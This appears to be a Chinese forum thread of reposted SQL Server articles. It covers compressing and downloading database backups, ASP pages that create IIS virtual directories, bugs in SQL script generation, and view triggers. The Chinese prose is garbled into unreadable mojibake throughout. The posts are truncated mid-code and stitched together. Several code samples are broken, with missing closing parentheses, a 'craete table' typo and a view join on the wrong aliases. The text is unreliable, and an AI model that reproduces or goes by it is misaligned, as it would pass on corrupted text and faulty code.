Sql ServerÊý¾Ý¿â±¾ÉíÌṩ·Ç³£·½±ãÇ¿´óµÄ±¸·Ý¹¦ÄÜ£¨DTS£©£¬¿ÉÒÔÒÔÏòµ¼µÄ·½Ê½Òýµ¼Óû§±¸·Ýµ½±¾µØ¾ÖÓòÍøµÄ»úÆ÷»òÕßÔ¶³ÌµÄ»úÆ÷ÉÏ£¬µ«ÊÇÏÖÔÚ³öÏÖÒ»¸öÎÊÌ⣺¾ÍÊÇÒ»µ©Êý¾Ý¿â´óÁ˵Ļ°£¬±¾µØ¾ÖÓòÍø±¸·ÝËٶȿÉÒÔ½ÓÊÜ£¬¿ÉÊÇÔ¶³Ì±¸·Ý£¬ÓÈÆäÊDz¦ºÅÉÏÍø£¬ËٶȾͿÉÄÜÂý£¬Ò»µ©Ê±¼ä¹ý³¤£¬ÍøÂç¿ÉÄܶϵô£¬ÓÖµÃÖØб¸·Ý£¬ÄÜ·ñÌá³öÒ»ÖÖ·½°¸³ä·ÖÀûÓÃSql ServerÊý¾Ý¿â±¾ÉíÒÑÓеı¸·Ý¹¦ÄÜ£¨DTS£©£¬Í¬Ê±ÓÖ½â¾ö±¸·ÝËÙ¶ÈÂýµÄÎÊÌ⣬¿¼Âǵ½Êý¾Ý¿â±¸·ÝÎļþµÄ¿ÉѹËõ±ÈÂʷdz£¸ß£¬¿ÉÒÔÖ±½Ó¶Ô±¸·ÝÎļþ½øÐÐѹËõ²Ù×÷£¬ÊÇ·ñ¸üÓÐЧÂÊ£¿
ÏÂÃæÊÇÉè¼Æ˼·£¬×îºó¶¨ÐÍÈ¡¾öÓÚÁ½ÖÖ·½Ê½Ð§Âʵĸߵ͡£

µÚÒ»²½£ºÀûÓÃSql Server±¾Éí´øÓеı¸·Ý¹¦ÄÜ£¨DTS£©°ÑÊý¾Ý¿âÈ«²¿»òÕß²î¶î¶¨Ê±±¸·Ýµ½Ä³¸öĿ¼£¬Ò»µ©±¸·Ý³É¹¦£¬ÕâʱºòÔÚÖ¸¶¨µÄ±¸·ÝĿ¼ÏÂÓÐ.bakÎļþ´æÔÚ£»
µÚ¶þ²½£ºÀûÓù«Ë¾×Ô¿ª·¢µÄ½âѹËõ×é¼þRichZip°Ñ.bakÎļþѹËõ³ÉÁíÒ»¸öÎļþ.zipÎļþ£¬RichZipµÄѹËõ±ÈµÈͬÓÚWinZip£»
µÚÈý²½£ºÍ¨¹ýHttpЭÒéÏÂÔØ.zipÎļþµ½±¾µØ£¬°´ÕÕ²»Í¬µÄÏîÄ¿ºÍÈÕÆÚ±£´æ£»
µÚËIJ½£ºÈç¹ûÐèÒª»Ö¸´£¬°Ñ.zipÎļþ½âѹËõ³É.bakÎļþ£¬È»ºóÔÙÓÃSql ServerµÄ¹¤¾ß°Ñ±¸·ÝÎļþ»Ö¸´£»

ÐèҪʵÑé½â¾öµÄ¼¸¸öÎÊÌ⣺
1¡¢ÔÚͬһ»·¾³Ï£¬Ö±½ÓʹÓÃSql ServerµÄ±¸·Ý¹¤¾ßÓëÕâÖÖ·½°¸ËùÐèÒªµÄʱ¼äÄÄÒ»¸ö¸ü³¤£¿ÊÇ·ñÔÚ²»Í¬Á¿¼¶ÀïÃæÓв»Í¬µÄ½á¹û£¿
2¡¢ÊÇ×Ô¼ºÀûÓÃ×é¼þ¿ª·¢Ò»¸ö»ùÓÚhttpЭÒéµÄÏÂÔسÌÐò£¬»¹ÊÇÖ±½Ó²ÉÓÃÆäËüµÄ¹²ÏíÏÂÔع¤¾ßÊÇ·ñ¸üÓÐЧÂÊ£¿±ÈÈç˵NetAnts£¨ÍøÂçÂìÒÏ£©»òÕßÆäËüÏÂÔع¤¾ß¡£

˵Ã÷£º
1¡¢¸Ã·½°¸Ö»ÔÚ΢Èíƽ̨ÉÏ×ö¹ýʵ¼Ê²Ù×÷£º²Ù×÷ϵͳWindow NT4.0»òÕßÒÔÉÏ£¨ÍƼöʹÓÃWin2000£©£¬Êý¾Ý¿âSql Server6.5»òÕßÒÔÉÏ£¨ÍƼöʹÓÃSql7.0£©¡£

Èý¡¢Êµ¼ÊÇé¿ö

3.1 ʵÑé½á¹û

3.1.1 ʵÑéÒ»½á¹û£ºÎÞÂÛÔÚÄÄÖÖÁ¬½Ó»·¾³Ï£¬¾ÖÓòÍø»¹ÊDz¦ºÅÉÏÍø£¬Ö±½ÓʹÓÃSql ServerµÄ±¸·Ý¹¤¾ßÓë±¾·½°¸µÄЧÂʲî¾à¶¼±È½Ï´ó£¬Ö»ÊÇÓÉÓÚÊý¾Ý¿âСʱ£¬Ö±½ÓʹÓÃSql ServerµÄ±¸·Ý¹¤¾ß±È±¾·½°¸·½±ãһЩ¡£

ÒÔÏÂÊÇһЩ¼òµ¥µÄ¡¢²»ÍêÕûµÄʵ¼Ê²Ù×÷Êý¾Ý£¬½ö¹©²Î¿¼¡£

²Ù×÷»·¾³£ºÁªÏë56Kµ÷Öƽâµ÷Æ÷£¬ÉÏÍøËÙ¶È52K£¬Í¨¹ýSysGateÉÏÍø£¬Æ½¾ù3K×óÓÒ¡£

¿âÃû    ¡¡¡¡¡¡ ±¸·ÝÎļþ´óС ѹËõÎļþ´óС ¡¡¡¡¡¡¡¡¡¡ÏÂÔØʱ¼ä
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡Sql±¸·Ý¹¤¾ß ±¾·½°¸
SoftEnterPrise¡¡27970Kb ¡¡¡¡2109Kb(13.26±¶) ¡¡Ã»ÓÐÄÍÐĵȴý£¬Ç¿ÐÐÖÐ¶Ï 12·ÖÖÓ
SoftProduct ¡¡¡¡10265Kb ¡¡¡¡739Kb£¨13.89±¶£©¡¡18·ÖÖÓ        3·ÖÖÓ
SoftProductHz ¡¡11948Kb ¡¡¡¡930Kb(12.85±¶) ¡¡ 25·ÖÖÓ        5·ÖÖÓ
×÷Õß: ccwlm741212    ʱ¼ä: 2003-11-12 16:21
Sql ServerÊý¾Ý¿â±¸·ÝµÄÁíÀà½â¾ö·½°¸(2)  
  
[www.Googln.com 2002-11-18 9:39:26 ]  
  
ʵ¼Ê²Ù×÷¹ý³ÌÖÐÊÇʹÓÃÍøÂçÂìÒÏÏÂÔصģ¬Èý¸ö¿âµÄ±¸·ÝÎļþÒ»¹²50MB£¬Ñ¹ËõºóÒ»¹²²»µ½4MB£»Ê¹ÓÃSql±¸·Ý¹¤¾ß£¬ÖÁÉÙÐèÒªÒ»¸öСʱ×óÓÒ£¬¶øʹÓÃÒª·½°¸×î¶à²»³¬¹ý20·ÖÖÓ£¬ÕâÖмäµÄЧÂÊÊDz»¿É±ÈÄâµÄ£¬»¹²»°üÀ¨ÔÚʹÓÃSql±¸·Ý¹¤¾ßʱÈç¹û¶ÏÍøÔì³ÉµÄÑÓʱ¡£

3.1.2 ʵÑé¶þ½á¹û£º½¨ÒéʹÓÃרÃŵÄÏÂÔع¤¾ß£¬ÈçÍøÂçÂìÒÏ»òÕßÆäËüÏÂÔع¤¾ß£¬ÊÇ»ùÓÚÈçÏ¿¼ÂÇ£ºA¡¢×¨ÃŵÄÏÂÔع¤¾ß¹¦ÄÜÇ¿´ó£¬Ìṩ¶ÏµãÐø´«¡¢¶àÏ̡߳¢¶¨Ê±ÏÂÔصÈÐí¶à¹¦ÄÜ£»B¡¢Ðí¶àÓû§¶¼»áʹÓ㬶øÇҷdz£ÊìÁ·£¬²»ÐèÒªÔÙÅàѵ£»C¡¢±È½ÏÎȶ¨£¬Èç¹û×Ô¼ºÒª¿ª·¢ÏÂÔسÌÐòµÄ»°£¬Ò»¸öÊǹ¦Äܲ»Ç¿´ó£¬ÁíÍâÐèÒªÒ»¶ÎÏ൱³¤µÄ²âÊÔʱ¼ä£¬ÐèҪͶÈëʱ¼äÓ뾫Á¦£¬²»ºÏËã¡£Èç¹ûÊÇÒòΪ¼¯³É»òÕß²úÆ·»¯µÄÔ­Òò£¬¿ÉÒÔ¿¼ÂÇ×öÒ»¸öÏà¶Ô¼òµ¥µÄÏÂÔسÌÐò£¬ÓëÆäËüÓ¦ÓýáºÏ£¬»òÕß¿ª·¢Ò»¸ö¹ÜÀí±¸·ÝÎļþµÄ³ÌÐò£¬¹ÜÀíÆðÀ´±È½Ï·½±ã¡£

3.2 ·þÎñÆ÷ÅäÖü°Ô´Âë
3.2.1 ·þÎñÆ÷¶ËÅäÖÃ
3.2.1.1 Sql ServerµÄÅäÖãº
-ÏȽ¨Á¢Device(É豸)£»
-È»ºó±¸·Ý¾ßÌåµÄÊý¾Ý¿âµ½Device(É豸)ÖУ¬¿ÉÒÔÑ¡Ôñ±¸·ÝµÄʱ¼ä¼°±¸·ÝµÄ·½Ê½£»
Öظ´ÉÏÊö²Ù×÷£¬Ö±µ½×öºÃËùÓÐÐèÒª±¸·ÝµÄÊý¾Ý¿âÅäÖá£
×¢ÒâÊÂÏ
1¡¢ ±¸·ÝÎļþ´æÔÚµÄĿ¼²»ÒªÈÃÓû§ÄÜͨ¹ýHttpЭÒé·ÃÎʵ½£»
2¡¢ ¸ù¾Ýʵ¼ÊÐèҪѡÔñÈ«¶î±¸·Ý»¹ÊDzî¶î±¸·ÝÒÔ¼°¶¨Ê±²Ù×÷£»
3¡¢ Èç¹ûϵͳ±¸·ÝÒԺ󣬱¸·ÝĿ¼Ï¾ͻá³öÏÖ.bakÎļþ¡£
3.2.1.2 ÐéÄâĿ¼µÄÅäÖÃ
-Ϊ±¸·Ýϵͳ½¨Á¢Ò»¸öÐéÄâĿ¼£¬ÈçBackUp£¬Ò»¶¨Òª¼ÓÉÏÌôÕ½·´Ó¦£¬²»ÔÊÐíÄäÃû·ÃÎÊ£¬ÕâÑù·ÃÎÊʱ¾ÍÐèÒªÊäÈëϵͳ¹ÜÀíÔ±µÄÓû§ÃûºÍÃÜÂ룬ÔöÇ¿°²È«ÐÔ¡£
3.3 Ô´Âë
ʵÏÖ˼·£ºÎªÁ˱£»¤Êý¾ÝµÄ°²È«ÐÔ£¬ÔÚ3.2.1.2ÖÐÒª°Ñ±¸·ÝϵͳµÄÐéÄâĿ¼Éè³É²»ÔÊÐíÄäÃû·ÃÎÊ£¬ÐèҪϵͳ¹ÜÀíÔ±µÄÃÜÂ룻ÁíÍâÔÚ3.2.1.1×¢ÒâÊÂÏîÖÐ1Ìáµ½µÄ²»Èñ¸·ÝÎļþ´æÔÚµÄĿ¼ÈÃÓû§ÄÜͨ¹ýHttpЭÒé·ÃÎʵ½£¬ÐèÒªÔÚÉú³ÉÏÂÔØÎļþºóÁÙʱÉú³ÉÒ»¸öÐéÄâĿ¼£¬ÏÂÔØÍê±ÏºóÔÙɾ³ýµô£¬È·±£°²È«¡£
Ò»¹²°üÀ¨ËĸöÎļþ£¬BackSet.asp¡¢BuildvDir.asp¡¢DelvDir.asp¡¢BackList.asp¡£
-BackSet.asp£ºÑ¡ÔñÒª½¨Á¢ÁÙʱÏÂÔØÐéÄâĿ¼µÄÕ¾µã£¬Í¬Ê±ÁÙʱ¸ø¶¨ÏÂÔØÐéÄâĿ¼µÄÃû³Æ£»
- BuildvDir.asp£º¸ù¾ÝBackSet.aspÎļþ¸ø¶¨µÄÕ¾µãºÍÐéÄâĿ¼Ãû³Æ£¬½¨Á¢ÐéÄâĿ¼£»
-DelvDir.asp£ºÉ¾³ýÔÚBackSet.aspÎļþ¸ø¶¨µÄÕ¾µãÖеÄÐéÄâĿ¼£»
-BackList.asp£ºÑ¹Ëõ±¸·ÝÎļþ£¬½¨Á¢¶ÔÓ¦µÄ±»Ñ¹Ëõºó±¸·ÝÎļþµÄÏÂÔØÁ´½Ó£»£¬
3.3.1 BackSet.aspÎļþ½âÊÍ
3.3.1.1 Ô´Âë
¡­
<body bgcolor="#EEEEEC">
<center>
<font size=4>Éú³É»òÕßɾ³ý**ÏîÄ¿±¸·ÝÊý¾Ý¿âÐéÄâĿ¼</font>
</center>
<hr size=1>
<br>

<center>
<form name="BackForm" method="Post">
<table border=1 width=70%>
<tr>
<td width=40% align=center>
<font size=2>
ÇëÑ¡ÔñҪʹÓõÄÕ¾µãÃû³Æ£º
</font>
</td>
<td>
      <select Name="WebSiteIndex">
      <%
      dim ObjServer
×÷Õß: ccwlm741212    ʱ¼ä: 2003-11-12 16:21
dim obj3W
      dim sServerName
             set ObjService=GetObject("IIS://" & Request.ServerVariables("SERVER_NAME" & "/W3SVC"
      for each obj3w in objservice  
             if IsNumeric(obj3w.Name) then
                    sServerName=Obj3w.ServerComment  
                    if Instr(sServerName,"¹ÜÀí WEB Õ¾µã" =0 then
                       sServerName=obj3w.Name & "-" & Obj3w.ServerComment
%>
                    <option value="<%=obj3w.Name%>"><%=sServerName%>
<%
                    end if
             end if      
      next
      set ObjService=Nothing  
      %>  
      </select>
</td>  
</tr>
<tr>
      <td width=40% align=center>  
      <font size=2>
      ÇëÊäÈ뱸·Ý²Ù×÷µÄÐéÄâĿ¼Ãû³Æ£º
      </font>  
      </td>
      <td>
      <input Type=text name="vDir" value="SrrdBackUp" size=42>  
      </td>
</tr>
</table>  
<br>
<br>
<input type=button Name="Build" value="Éú³ÉÐéÄâĿ¼">  
<input type=button Name="Del" value="ɾ³ýÐéÄâĿ¼">
</form>
</center>
</body>
</html>

<script language=vbs>
      Sub Build_Onclick()
      'Éú³ÉÁÙʱÐéÄâĿ¼
             if Trim(document.BackForm.vDir.value)="" then
                    msgbox "ÇëÊäÈëÐéÄâĿ¼Ãû³Æ£¡",16,"´íÎó"
                    exit sub
             else
                    document.BackForm.action="BuildvDir.asp"
                    document.BackForm.submit
             end if
      end sub
      Sub Del_Onclick()
      'ɾ³ýÁÙʱÉú³ÉµÄÐéÄâĿ¼
             if Trim(document.BackForm.vDir.value)="" then
×÷Õß: ccwlm741212    ʱ¼ä: 2003-11-12 16:22
Sql ServerÊý¾Ý¿â±¸·ÝµÄÁíÀà½â¾ö·½°¸(4)  
  
[www.Googln.com 2002-11-18 9:39:26 ]  
  
msgbox "ÇëÊäÈëÐéÄâĿ¼Ãû³Æ£¡",16,"´íÎó"
                    exit sub
             else
                    document.BackForm.action="DelvDir.asp"
                    document.BackForm.submit
             end if
      end sub
</script>
¡­
˵Ã÷£º
1¡¢ ÓÉÓÚÔÚʵ¼Ê¹ý³ÌÖУ¬¾­³£ÊǹرÕȱʡÍøÕ¾»òÕßһ̨»úÆ÷ÉÏÓжà¸öÍøÕ¾´æÔÚ£¬ÌáÈ¡IISÖÐÕ¾µã£¬¿ÉÒÔÈÃʹÓÃÕßÑ¡Ôñ²»Í¬µÄÕ¾µãϽ¨Á¢ÐéÄâĿ¼£»
2¡¢ ÒªÓôúÂë¶ÔIIS½øÐвÙ×÷£¬ÐèÒªADSIµÄÅäºÏ£»
3¡¢ Òª¶ÔIIS½øÐвÙ×÷£¬±ØÐëÓÐϵͳ¹ÜÀíÔ±µÄȨÏÞ£¬ËùÒÔ¼ÓÌôÕ½·´Ó¦¼ÈÊÇΪÁË°²È«£¬Ò²ÊÇʵ¼ÊÐèÒª¡£
3.3.1.2 ½çÃ棬¼ûͼһ


ͼһ


3.3.2 BuildvDir.aspÎļþ½âÊÍ
3.3.2.1 Ô´Âë
¡­
<%  
             dim iWWWIndex   'Õ¾µã˳Ðò
             dim vDirName              'ÐéÄâĿ¼Ãû³Æ
             dim pDirName              '¶ÔÓ¦µÄÎïÀíĿ¼Ãû³Æ
             dim sDefaultPage   'ÐéÄâĿ¼ʹÓõÄȱʡҳÃæÃû³Æ
             '»ñµÃҪʹÓõÄÕ¾µã˳Ðò  
             iWWWIndex=Request.Form("WebSiteIndex"
             '»ñµÃÒªÉú³ÉµÄÐéÄâĿ¼Ãû³Æ  
             vDirName=Request.Form("vDir"  
             'µ±Ç°ÎļþÎïÀí·¾¶  
             pDirName=request.servervariables("Path_Translated"  
             pDirName=Left(pDirName,instrrev(pDirName,"\"-1)  
             'ȱʡҳÃæÃû³Æ  
             sDefaultPage="BackList.asp"  
             if CreateVirtulDir(iWwwIndex,vDirName,pDirName,sDefaultPage)=false then  
             '½¨Á¢ÏµÍ³ÐéÄâĿ¼ʧ°Ü  
             %>  
                    <script language=vbs>  
                           msgbox "´´½¨ÐéÄâĿ¼ʧ°Ü!",16,"´íÎó"  
                           window.history.back  
                    </script>  
             <%                 
             else  
             %>  
                    <script language=vbs>
×÷Õß: ccwlm741212    ʱ¼ä: 2003-11-12 16:23
SQL½Å±¾Éú³ÉµÄһЩBUG(1)  
  
[www.Googln.com 2002-8-26 16:16:32 ]  
  
΢ÈíµÄSQL½Å±¾Éú³ÉÁîÎÒÉË͸ÁËÐÄ¡­¡­ÎÒÒ»Ö±ÒÔΪÊÇÎҵijÌÐòÉϵÄÎÊÌ⣬»òÕßÎÒ²Ù×÷ÉϵÄʧÎó£¬
²¢ÇÒ£¬¿Í·þÎñÈËÔ±ÂÅÂÅÂñÔ¹ÎҵijÌÐòbug£¬¶à´Î²âÊÔÖ®ºó£¬¿¿£¬Ô­À´¶¼ÊÇ΢ÈíÈǵĻö¡­¡­

Sql Server µÄ½Å±¾Éú³ÉÓв»ÉÙ©¶´£¬¾­³£ÓÉËüÉú³ÉµÄ½Å±¾ÔËÐÐÆðÀ´È´ÓдíÎó¡£ÏÂÃæ¾ÙÀý˵Ã÷£º

1¡¢²¢Ã»Óиù¾ÝsysdenpendsµÄÒÀÀµ¹ØϵÉú³ÉSQL´úÂ룬¶øÊǸù¾Ý¡°ÓÅÏȼ¶¡±£¨ºÇºÇ£¬ËùνµÄÓÅÏȼ¶£©À´Éú³É¡£
±ÈÈ磺ËûÈÏΪviewµÄÓÅÏȼ¶¾ÍÒª±Èfunction¸ß¡£
ÄÇô£¬ÎÒдÁËÏÂÃæµÄ²âÊÔ³ÌÐò£¬ÐγÉÈçϵÄÒÀÀµ¹Øϵ£ºfnT1 <-- vwT1 <-- fnT2
¾ÍÊÇ£¬view vwT1´¦ÓÚÒÀÀµµÄÖм䡣
------------------------------------
Create function fnT1()
Returns Integer
As
begin
Return 123
end
go

Create view vwT1
As
Select aa=dbo.fnT1()

Go

Create function fnT2()
Returns Table
As
Return (Select * From vwT1)
Go
-------------------------------------
ÔËÐе½Êý¾Ý¿âÖ®ºó£¬ÓÃEnterpriseÉú³ÉSQL´úÂë¡££¨Ñ¡Ïî²»Ò»Ñù£¬»áÓÐËù²»Í¬£¬ÎÒûÓÐÑ¡Êý¾Ý¿âºÍÓû§µÄ£©
-----------------------------------------------------------------------------------
if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[fnT1]') and xtype in (N'FN', N'IF', N'TF'))
drop function [dbo].[fnT1]
GO

if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[fnT2]') and xtype in (N'FN', N'IF', N'TF'))
drop function [dbo].[fnT2]
GO

if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[vwT1]') and OBJECTPROPERTY(id, N'IsView') = 1)
drop view [dbo].[vwT1]
GO

SET QUOTED_IDENTIFIER ON
GO
SET ANSI_NULLS ON
GO

Create view vwT1
As
Select aa=dbo.fnT1()

GO
SET QUOTED_IDENTIFIER OFF
GO
SET ANSI_NULLS ON
GO

SET QUOTED_IDENTIFIER ON
GO
SET ANSI_NULLS ON
GO

Create function fnT1()
Returns Integer
As
begin
Return 123
end

GO
SET QUOTED_IDENTIFIER OFF
GO
SET ANSI_NULLS ON
×÷Õß: ccwlm741212    ʱ¼ä: 2003-11-12 16:24
SQL½Å±¾Éú³ÉµÄһЩBUG(2)  
  
[www.Googln.com 2002-8-26 16:16:32 ]  
  
GO

SET QUOTED_IDENTIFIER ON
GO
SET ANSI_NULLS ON
GO

Create function fnT2()
Returns Table
As
Return (Select * From vwT1)

GO
SET QUOTED_IDENTIFIER OFF
GO
SET ANSI_NULLS ON
GO
-----------------------------------------------------------------------------
ºÇºÇ£¬Ò»ÑÛÄã¾Í¿ÉÒÔ¿´³öÀ´ÁË£¬½¨Á¢viewÒª±È½¨Á¢functionÏÈ¡£¶ø²»ÊǸù¾ÝÒÀÀµ¹Øϵ½¨Á¢¡­¡­
ºÁÎÞÒÉÎÊ£¬½«»áµÃµ½ÈçϵĴíÎ󣺣¨Õâ¸ö´íÎó¿ÉÕæÑÏÖØ£¡º¦µÃÎҺòҡ­¡­£©
---------------------------------------------------
·þÎñÆ÷: ÏûÏ¢ 208£¬¼¶±ð 16£¬×´Ì¬ 1£¬¹ý³Ì vwT1£¬ÐÐ 4
¶ÔÏóÃû 'dbo.fnT1' ÎÞЧ¡£
·þÎñÆ÷: ÏûÏ¢ 208£¬¼¶±ð 16£¬×´Ì¬ 1£¬¹ý³Ì fnT2£¬ÐÐ 5
¶ÔÏóÃû 'vwT1' ÎÞЧ¡£
---------------------------------------------------
2¡¢×÷Òµ½Å±¾¡£

Õâ¸öÎҾͲ»ËµÁË£¬bug»¹²»ÊǺÜÑÏÖØ£¬Ö÷ÒªÊÇÖÐÎÄ¡°--¡±×¢ÊÍ·ûµÄÎÊÌ⣬ӢÎÄ°æÎÒûÓвâÊÔ¹ý£¬²»¹ý²ÂÏëÓ¦µ±Ã»ÓÐÕâ¸öbug¡£
´ó¼Ò¿ÉÒÔÊÔÊÔ¿´¡£

3¡¢»¹ÓÐÒ»¸öSPµÄÎÊÌâ¡£

´ó¼Ò¿´¹ýÎҵľ«»ªÀïÃæÓÐspGetIDStrºÍspAnalyseStrListÁË°É£¬¹ØϵÊǺóÕßÒÀÀµÓÚÇ°Õß¡£¿ÉÊÇspGetIDStrÎÒ²¢Ã»Óе÷ÓÃÈÎºÎµÄ±í¡£
Òò´Ë£¬Ã¿µ±ÔËÐÐSql ServerÉú³ÉµÄ½Å±¾µÄʱºò£¬×ÜÊDZ¨¸æ£¨´ó¸ÅÊÇÕâÑùµÄÐÅÏ¢£©£º
------------------------------------------------------------------------
spGetIDStr²¢²»´æÔÚ£¬ÎÞ·¨ÔÚsysdependsÀィÁ¢ÒÀÀµ¹Øϵ£¬´æ´¢¹ý³ÌspAnalyseStrListÈÔÈ»½¨Á¢¡£
--------------------------------------------------------------------------
ÎÞÂÛÎÒÊÖ¹¤ÐÞ¸ÄËûµÄ½¨Á¢Ë³Ðò»¹ÊÇʲôµÄ£¬ÓÃËüÉú³ÉµÄ½Å±¾¾ÍÊÇÓÐ´í¡£ºÇºÇ£¬Õâ¸öÆÆ΢Èí£¡
ÕâÀÔÙ¿´¿´µÚÈý¸öbug£¬¿´ÎÒÏÂÃæµÄ²âÊÔ³ÌÐò£º
£¨Ô­Àí£ºµ±spûÓжԱí»òÊÓͼµÈÊý¾Ý¿â¶ÔÏóÓÐÒÀÀµ¹ØϵµÄʱºò£¬sp±»±ðµÄspÒýÓõÄʱºòÒ²½«ÎÞ·¨½¨Á¢ÒÀÀµ¹Øϵ£©
ÐγÉÒÀÀµ¹Øϵ£ºspB1 <--- spA1
------------------------------------------------------------------------
Create Proc spB1
As
Return 11

Go

Create proc spA1
As
Begin
Declare @i int
Exec @i=spB1
Return @i*2
End
Go
-------------------------------------------------------------------------
Éú³ÉµÄ½Å±¾¾ÍΪ£º
-------------------------------------------------------------------------
×÷Õß: ccwlm741212    ʱ¼ä: 2003-11-12 16:24
if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[spA1]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
drop procedure [dbo].[spA1]
GO

if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[spB1]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
drop procedure [dbo].[spB1]
GO

SET QUOTED_IDENTIFIER ON
GO
SET ANSI_NULLS ON
GO


Create proc spA1
As
Begin
Declare @i int
Exec @i=spB1
Return @i*2
End

GO
SET QUOTED_IDENTIFIER OFF
GO
SET ANSI_NULLS ON
GO

SET QUOTED_IDENTIFIER ON
GO
SET ANSI_NULLS ON
GO

Create Proc spB1
As
Return 11


GO
SET QUOTED_IDENTIFIER OFF
GO
SET ANSI_NULLS ON
GO

-------------------------------------------------------------------------
ÎûÎû¡£´ó¼ÒÕâ»ØÓ¦µ±Ã÷°×ÎÒ¹ÊÒâÃüÃûΪspA1,spB1Ôµ¹ÊÁË¡£ÒòΪÈç¹ûûÓÐÒÀÀµ¹ØϵµÄ»°£¬A×ÔÈ»ÅÅÔÚBÇ°Ã棬Ä㿴΢Èí¿É²»¾ÍÊÇÕâô×öµÄô£¿
ºÇºÇ£¬·¢ÏÖ΢ÈíµÄ¹¤³ÌʦÓÐʱºòÒ²ºÃ±¿¡­¡­£º£©£¬Äã¿´spA1¾Í½¨Á¢ÔÚspB1µÄÇ°Ã棬¶ø²»ÊÇËüµÄʵ¼Ê¹Øϵ£¨Ëý¸ù±¾Ã»ÓÐÔÚsysdependsÀïÃæд£©
ÐÒºÃÕâ¸öbug»¹²»ÊǺܴó£¬Ôõô˵SP»¹Êǽ¨Á¢ÁËÆðÀ´¡£
×÷Õß: magicangel    ʱ¼ä: 2003-11-12 22:54
ºÇºÇ£¬ÎÒÒÔÇ°¶¼¿´¹ýµÄ£¬ÊDz»ÊǺܲ©Ñ§£¿
×÷Õß: ccwlm741212    ʱ¼ä: 2003-11-13 10:44
×î³õÓÉ magicangel ·¢²¼
[B]ºÇºÇ£¬ÎÒÒÔÇ°¶¼¿´¹ýµÄ£¬ÊDz»ÊǺܲ©Ñ§£¿ [/B]


Ó¦¸Ã¿´¹ýµÄ£¬ÎÒÖ»ÏëÕûÀíÔÚÒ»ÆðÈÃÅóÓÑÃÇ¿´¿´£¬·½±ãһϱðÈË£¡

Äã¿´ÎÒÈý¸ö´ú±íѧµÄ²»´í°É£¡
×÷Õß: yanlaowu    ʱ¼ä: 2003-11-14 15:50
¶¼ÊDz»´íµÄ¾­Ñ飬лл

ºÇºÇ£¬Â¥ÉϵÄͬ־²»À¢ÊÇѧϰÈý¸ö´ú±íµÄÏȽø·Ö×Ó
×÷Õß: 2896995    ʱ¼ä: 2003-11-15 10:37
Ì«ºÃÁË£¬²»ß^ÄÜÕûÀíһϾ͸üºÃÁË£¬ºÇºÇ¡£·Öé_ÄÇüN¶àÙN×Ó°l£¬ÓÐüc¡£¡£¡£¡£¡£
×÷Õß: chencms    ʱ¼ä: 2003-11-15 10:56
ÈÈÐÄÈË°¡£¬ÐÅÏ¢×ÊÔ´¹²Ïí£¬´ó¼Ò¹²Í¬½ø²½
×÷Õß: magicangel    ʱ¼ä: 2003-11-16 00:21
´ó¼ÒºÜÖ§³ÖÄã°¡£¬ccw°ßÖñ£¬ÕÆÉù¹ÄÀø£¬¼ÌÐø°¡¡£
×÷Õß: ccwlm741212    ʱ¼ä: 2003-11-21 08:17
---(XZH2000)

ÊÓͼ·Ö¿É¸üÐÂÊÓͼÓë²»¿É¸üÐÂÊÓͼ£¬
Èç¹ûÊÓͼÊÇ´ÓÒ»¸ö±íµÃÀ´µÄ£¬Ò»°ãÀ´Ëµ¸÷ÖÖ´óÐÍÊý¾Ý¿â¶¼Ö§³Ö£¬
Èç¹ûÊÓͼÊÇ´Ó¶à¸ö±íµÃÀ´µÄ£¬Ò»´ÎÖ»ÄÜÐÞ¸ÄÆäÖеÄÒ»¸ö±íMSSQLÖ§³Ö£¬ORACLEÒ²¿ÉÒÔ¡£

ÐÞ¸ÄÊÓͼһ°ãʹÓÃinstead of´¥·¢Æ÷¡£
create table a1(id int,name varchar(20))
craete table a2(id int,age tinyint)
go
create view v_a1_a2(id,name,age)
as
select a.id,a.name,b.age from a1 a,a2 b where a1.id=a2.id
go
create trigger tri_ins_v1
instead of insert
as
begin
insert into a1 select id,name from inserted
insert into a2 select id,age from inserted
end
×÷Õß: ccwlm741212    ʱ¼ä: 2003-11-23 12:53
´¥·¢Æ÷µÄ¼¸ÖÖÓ¦ÓÃ

ÀîÕñ»ª¡¡Àî¹óÁú¡¡ÁõÑÄ

¡¡¡¡Õª¡¡Òª¡¡ÁоÙÁË´¥·¢Æ÷µÄ¼¸ÖÖ´ú±íÐÔÓ¦ÓãºÊý¾Ý·ÖÉ¢¡ª¼¯ÖÐʽģÐ͵ÄÉè¼Æ£¬ÀúÊ·Êý¾ÝµÄµ¼³ö£¬Ó¦ÓÃϵͳ¼äµÄÊý¾Ý½Ó¿Ú¡£²¢¶ÔÈçºÎÉè¼ÆÕâЩ´¥·¢Æ÷½øÐÐÁË̽ÌÖ¡£
¡¡¡¡¹Ø¼ü´Ê¡¡´¥·¢Æ÷£¬Êý¾Ý·ÖÉ¢¡ª¼¯ÖÐÄ£ÐÍ£¬ÀúÊ·Êý¾Ýµ¼³ö£¬Êý¾Ý½Ó¿Ú

1¡¡ÒýÑÔ
¡¡¡¡ÔÚ´óÐÍÊý¾Ý¿âÉè¼ÆÖУ¬»á¾­³£Óõ½´¥·¢Æ÷¡£ËüµÄÌصãÊÇ£ºÒ»µ©±»¶¨Ò壬¾Í´æÔÚÓÚºǫ́Êý¾Ý¿âϵͳ£¨server£¬·þÎñÆ÷·½£©ÖУ¬²¢»áÔÚÏàÓ¦Ìõ¼þÏÂ×Ô¶¯µØÒþʽִÐУ¬´Ó¶øʹµÃËüµÄÉè¼Æ¼ÈÓëǰ̨£¨client£¬¿Í»§»ú·½£©µÄƽ̨Î޹أ¬ÓÖÃâ³ýÁËǰ̨Ïà¹ØµÄÊý¾Ý²Ù×÷Éè¼Æ¡£
¡¡¡¡ÔÚÎÄÏ×£Û1£ÝÖУ¬ÁоÙÁË´¥·¢Æ÷µÄ¼¸ÖÖÓ¦ÓãºÉó¼Æ;¸´ÔÓµÄÍêÕûÐÔÔ¼Êø;¸´ÔӵݲȫÐÔÊÚȨ;ʼþµÇ¼;ÁÐÖµµ¼³ö;·Ö²¼Ê½Êý¾Ý¿âÖÐ±í¸´ÖÆ¡£

